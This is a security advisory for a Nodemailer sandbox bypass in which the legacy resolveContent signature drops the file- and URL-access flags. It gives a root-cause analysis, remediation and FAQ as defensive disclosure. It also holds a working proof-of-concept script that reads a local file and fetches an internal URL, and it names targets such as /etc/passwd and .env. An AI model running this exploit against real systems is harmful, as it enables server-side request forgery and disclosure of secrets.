GHSA-8m3c-c648-2xjj: SSRF
Summary
Nodemailer's disableFileAccess / disableUrlAccess options are a security sandbox that lets an application forbid untrusted message content (html/text/attachment path/href) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit 5f69497) threaded these flags through the library's internal resolution paths (MailMessage.resolveAll() and convertDataImages()), but the public plugin API MailMessage.resolveContent(...args) (lib/mailer/mail-message.js:41-43) remains a raw passthrough to shared.resolveContent().
When called with the documented legacy signature mail.resolveContent(data, key, callback), shared.resolveContent normalizes the missing options argument to an empty object (options = options || {}, lib/shared/index.js:530). The message-level flags that the MailMessage constructor already copied into mail.data (lib/mailer/mail-message.js:34-38) are silently discarded, so resolveContentValue skips both access-control guards and reaches nmfetch(url) (SSRF, lib/shared/index.js:588) or fs.createReadStream(path) (arbitrary file read, lib/shared/index.js:597).
A plugin or application code that resolves message content through the documented API (the same API the library's own convertDataImages uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.
Details
Root cause. The MailMessage constructor stores the transporter-level sandbox flags on the message object (lib/mailer/mail-message.js:34-38):
js ['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => { if (key in options) { this.data[key] = options[key]; } });
The public resolver is a pure passthrough (lib/mailer/mail-message.js:41-43):
js resolveContent(...args) { return shared.resolveContent(...args); }
shared.resolveContent supports the legacy 3-argument signature and collapses the missing options to {} (lib/shared/index.js:524-530):
js module.exports.resolveContent = (data, key, options, callback) => { // options is optional; support the legacy resolveContent(data, key, callback) signature if (!callback && typeof options === 'function') { callback = options; options = false; } options = options || {}; ... resolveContentValue(data, key, options, callback);
resolveContentValue then checks options.disableUrlAccess / options.disableFileAccess (lib/shared/index.js:581 / :590), both undefined for the legacy signature, so it falls through to nmfetch (:588) or fs.createReadStream (:597).
Contrast with the fixed paths. resolveAll() (lib/mailer/mail-message.js:112-115) and convertDataImages() (lib/mailer/index.js:437-440) both pass the message flags explicitly. The MIME streaming path (lib/mime-node/index.js:1059-1077) also honors the flags. So an application that enables the sandbox and then calls transporter.sendMail() is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the resolveContent JSDoc at lib/shared/index.js:510-523 states it is "useful when you want to create a plugin that needs a content value").
Affected versions. Confirmed on 9.1.0 (HEAD efd6e29c10c6e0c25c57bd2f2a71302838235a4f, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (test/mailer/mail-message-test.js contains no resolveContent test).
PoC
Requires: nodemailer@9.1.0, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.
js 'use strict'; const nodemailer = require('nodemailer'); const MailMessage = require('nodemailer/lib/mailer/mail-message');
const TARGETFILE = '/app/src/package.json'; // any readable local file const SSRFURL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target
const transporter = nodemailer.createTransport({ streamTransport: true, disableFileAccess: true, // sandbox explicitly enabled disableUrlAccess: true });
const data = { from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello', html: { path: TARGETFILE }, attachments: [{ filename: 'x.bin', href: SSRFURL }] }; const mail = new MailMessage(transporter, data); // mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true
// Documented legacy plugin signature — options argument omitted: mail.resolveContent(mail.data, 'html', (err, value) => { if (err) return console.log('BLOCKED', err.code); console.log('FILEREADOK len=', value.length); // -> 1647 (package.json) }); mail.resolveContent(mail.data.attachments, 0, (err, body) => { if (err) return console.log('BLOCKED', err.code); console.log('URLFETCHOK body=', body.toString()); // -> fetched response });
Observed output on the audit environment (Node 22, nodemailer@9.1.0):
text mail.data.disableFileAccess = true | disableUrlAccess = true [CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json [CONTROL html.path explicit-options] err = EFILEACCESS [BYPASS html.path legacy] READ OK len = 1647 head = "{\n \"name\": \"nodemailer\",\n \"version\": \"9.1.0\",\n \"des" [BYPASS att[0].href legacy] FETCH OK len = 13 body = "HTTP-SINK OK\n"
The negative controls (resolveAll, and resolveContent with explicit { disableFileAccess: true }) return EFILEACCESS, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real transporter.sendMail() flow when a compile plugin calls mail.resolveContent(mail.data, 'html', cb) / mail.resolveContent(mail.data.attachments, 0, cb).
Impact
An application that enables disableFileAccess / disableUrlAccess to contain untrusted message content and that resolves content through the documented plugin API (mail.resolveContent(data, key, callback)) has its sandbox silently bypassed:
- Arbitrary local file disclosure: a message html/attachment path pointing at a server file (/etc/passwd, .env, key material) is read and returned to the caller / delivered in the message. - Server-side request forgery: a message href pointing at an internal or loopback URL is fetched from the application host.
Reachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default transporter.sendMail() path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/nodemailerto a version that resolves this vulnerability.Fixed in 9.1.1 - Configuration
If you must enable the sandbox, set `disableFileAccess: true` and `disableUrlAccess: true` in the transporter, and avoid the legacy `mail.resolveContent(data, key, callback)` signature that normalizes missing options to `{}` and bypasses the guards; use an API path where message-level flags are explicitly threaded into `resolveContentValue` so the checks for `options.disableFileAccess` / `options.disableUrlAccess` are applied.
Nodemailer disableFileAccess / disableUrlAccess = true (and ensure they are passed through explicitly, not via legacy resolveContent signature) - Compensating control
Ensure the public legacy-signature plugin/API path is not used with untrusted message content when sandboxing is required: do not call `mail.resolveContent(data, key, callback)` (legacy 3-argument signature that omits `options`) on attacker-influenced `html`/`text`/attachment `path` or `href` values; instead use a protected resolution path that threads the sandbox flags explicitly (e.g., the library’s `resolveAll()` flow) so `disableFileAccess`/`disableUrlAccess` are honored.
Event History
Frequently Asked Questions
When is an application exposed despite enabling the access restrictions?
It is exposed when a plugin or application calls MailMessage.resolveContent using the legacy three-argument form, mail.resolveContent(data, key, callback). In that path, the message-level disableFileAccess and disableUrlAccess settings are discarded even if they were set on the message.
What does an attacker need to control to exploit this?
An attacker needs influence over content resolved through that legacy API call, such as a URL or local file path in message HTML, text, or attachment data. A URL can cause an outbound HTTP(S) request, while a path can cause a local file read.
How can I determine whether my integration is affected?
Review application and plugin code for calls to MailMessage.resolveContent(data, key, callback), especially where the resolved data can originate from untrusted message content. Calls using that legacy signature bypass the configured file and URL access controls.